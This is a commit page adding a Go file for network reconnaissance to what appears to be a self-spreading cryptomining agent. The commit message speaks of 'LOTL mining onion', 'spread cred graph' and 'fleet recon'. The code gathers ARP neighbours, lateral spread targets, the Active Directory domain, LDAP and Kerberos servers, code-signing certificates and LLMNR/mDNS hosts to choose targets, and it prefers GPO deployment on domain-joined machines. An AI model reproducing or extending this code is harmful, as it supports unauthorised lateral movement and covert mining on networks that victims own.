Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
150
agent/deploy/network_hints.go
Normal file
150
agent/deploy/network_hints.go
Normal file
@@ -0,0 +1,150 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
// MaxMulticastNameHosts caps passive LLMNR/mDNS cache reads.
|
||||
MaxMulticastNameHosts = 32
|
||||
)
|
||||
|
||||
// NameHost is a hostname/IP pair from passive name caches (LLMNR/mDNS).
|
||||
type NameHost struct {
|
||||
Name string `json:"name"`
|
||||
IP string `json:"ip,omitempty"`
|
||||
}
|
||||
|
||||
// NetworkHints summarizes passive LAN/domain telemetry for spread targeting.
|
||||
type NetworkHints struct {
|
||||
GeneratedAt string `json:"generated_at"`
|
||||
ArpHosts []string `json:"arp_hosts,omitempty"`
|
||||
NeighborHosts []string `json:"neighbor_hosts,omitempty"`
|
||||
SpreadTargets []string `json:"spread_targets,omitempty"`
|
||||
SpreadTargetCount int `json:"spread_target_count,omitempty"`
|
||||
DomainName string `json:"domain_name,omitempty"`
|
||||
DomainJoined bool `json:"domain_joined,omitempty"`
|
||||
LdapSRV []string `json:"ldap_srv,omitempty"`
|
||||
KerberosSRV []string `json:"kerberos_srv,omitempty"`
|
||||
PreferJoinLane string `json:"prefer_join_lane,omitempty"`
|
||||
EnterpriseCodeSignCert bool `json:"enterprise_code_sign_cert,omitempty"`
|
||||
CodeSignSubject string `json:"code_sign_subject,omitempty"`
|
||||
LLMNRHosts []NameHost `json:"llmnr_hosts,omitempty"`
|
||||
MDNSHosts []NameHost `json:"mdns_hosts,omitempty"`
|
||||
MulticastNameCount int `json:"multicast_name_count,omitempty"`
|
||||
}
|
||||
|
||||
// CollectNetworkHints runs capped passive recon (ARP/neighbor, DNS SRV, cert, name cache).
|
||||
func CollectNetworkHints(maxHosts int) NetworkHints {
|
||||
if maxHosts <= 0 {
|
||||
maxHosts = 64
|
||||
}
|
||||
if maxHosts > MaxSubnetScanHosts {
|
||||
maxHosts = MaxSubnetScanHosts
|
||||
}
|
||||
|
||||
arp := arpHosts()
|
||||
neighbors := neighborHosts()
|
||||
targets := DiscoverLANSpreadTargets(maxHosts)
|
||||
|
||||
hints := NetworkHints{
|
||||
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
ArpHosts: capStrings(arp, maxHosts),
|
||||
NeighborHosts: capStrings(neighbors, maxHosts),
|
||||
SpreadTargets: targets,
|
||||
SpreadTargetCount: len(targets),
|
||||
}
|
||||
|
||||
domain := discoverADDomain()
|
||||
hints.DomainName = domain
|
||||
ldap, krb, joined := probeDomainSRV(domain)
|
||||
hints.LdapSRV = ldap
|
||||
hints.KerberosSRV = krb
|
||||
hints.DomainJoined = joined
|
||||
if joined {
|
||||
hints.PreferJoinLane = "gpo"
|
||||
}
|
||||
|
||||
if present, subject := probeEnterpriseCodeSignCert(); present {
|
||||
hints.EnterpriseCodeSignCert = true
|
||||
hints.CodeSignSubject = subject
|
||||
}
|
||||
|
||||
llmnr, mdns := probeMulticastNameCache(MaxMulticastNameHosts)
|
||||
hints.LLMNRHosts = llmnr
|
||||
hints.MDNSHosts = mdns
|
||||
hints.MulticastNameCount = len(llmnr) + len(mdns)
|
||||
|
||||
return hints
|
||||
}
|
||||
|
||||
func capStrings(in []string, max int) []string {
|
||||
if max <= 0 || len(in) == 0 {
|
||||
return nil
|
||||
}
|
||||
if len(in) > max {
|
||||
in = in[:max]
|
||||
}
|
||||
out := make([]string, len(in))
|
||||
copy(out, in)
|
||||
return out
|
||||
}
|
||||
|
||||
func mergeUniqueIPv4(sets ...[]string) []string {
|
||||
seen := make(map[string]bool)
|
||||
var out []string
|
||||
for _, set := range sets {
|
||||
for _, host := range set {
|
||||
host = strings.TrimSpace(host)
|
||||
if host == "" || seen[host] {
|
||||
continue
|
||||
}
|
||||
ip := net.ParseIP(host)
|
||||
if ip == nil || ip.To4() == nil {
|
||||
continue
|
||||
}
|
||||
seen[host] = true
|
||||
out = append(out, ip.To4().String())
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func discoverADDomain() string {
|
||||
if d := strings.TrimSpace(os.Getenv("USERDNSDOMAIN")); d != "" {
|
||||
return strings.ToLower(d)
|
||||
}
|
||||
return discoverADDomainPlatform()
|
||||
}
|
||||
|
||||
func probeDomainSRV(domain string) (ldap, kerberos []string, joined bool) {
|
||||
domain = strings.ToLower(strings.TrimSpace(domain))
|
||||
if domain == "" {
|
||||
return nil, nil, false
|
||||
}
|
||||
ldap = lookupSRVHosts("_ldap._tcp." + domain)
|
||||
kerberos = lookupSRVHosts("_kerberos._tcp." + domain)
|
||||
joined = len(ldap) > 0 || len(kerberos) > 0
|
||||
return ldap, kerberos, joined
|
||||
}
|
||||
|
||||
func lookupSRVHosts(name string) []string {
|
||||
_, addrs, err := net.LookupSRV("", "", name)
|
||||
if err != nil || len(addrs) == 0 {
|
||||
return nil
|
||||
}
|
||||
seen := make(map[string]bool)
|
||||
var hosts []string
|
||||
for _, a := range addrs {
|
||||
target := strings.TrimSuffix(strings.TrimSpace(a.Target), ".")
|
||||
if target == "" || seen[target] {
|
||||
continue
|
||||
}
|
||||
seen[target] = true
|
||||
hosts = append(hosts, target)
|
||||
}
|
||||
return hosts
|
||||
}
|
||||
Reference in New Issue
Block a user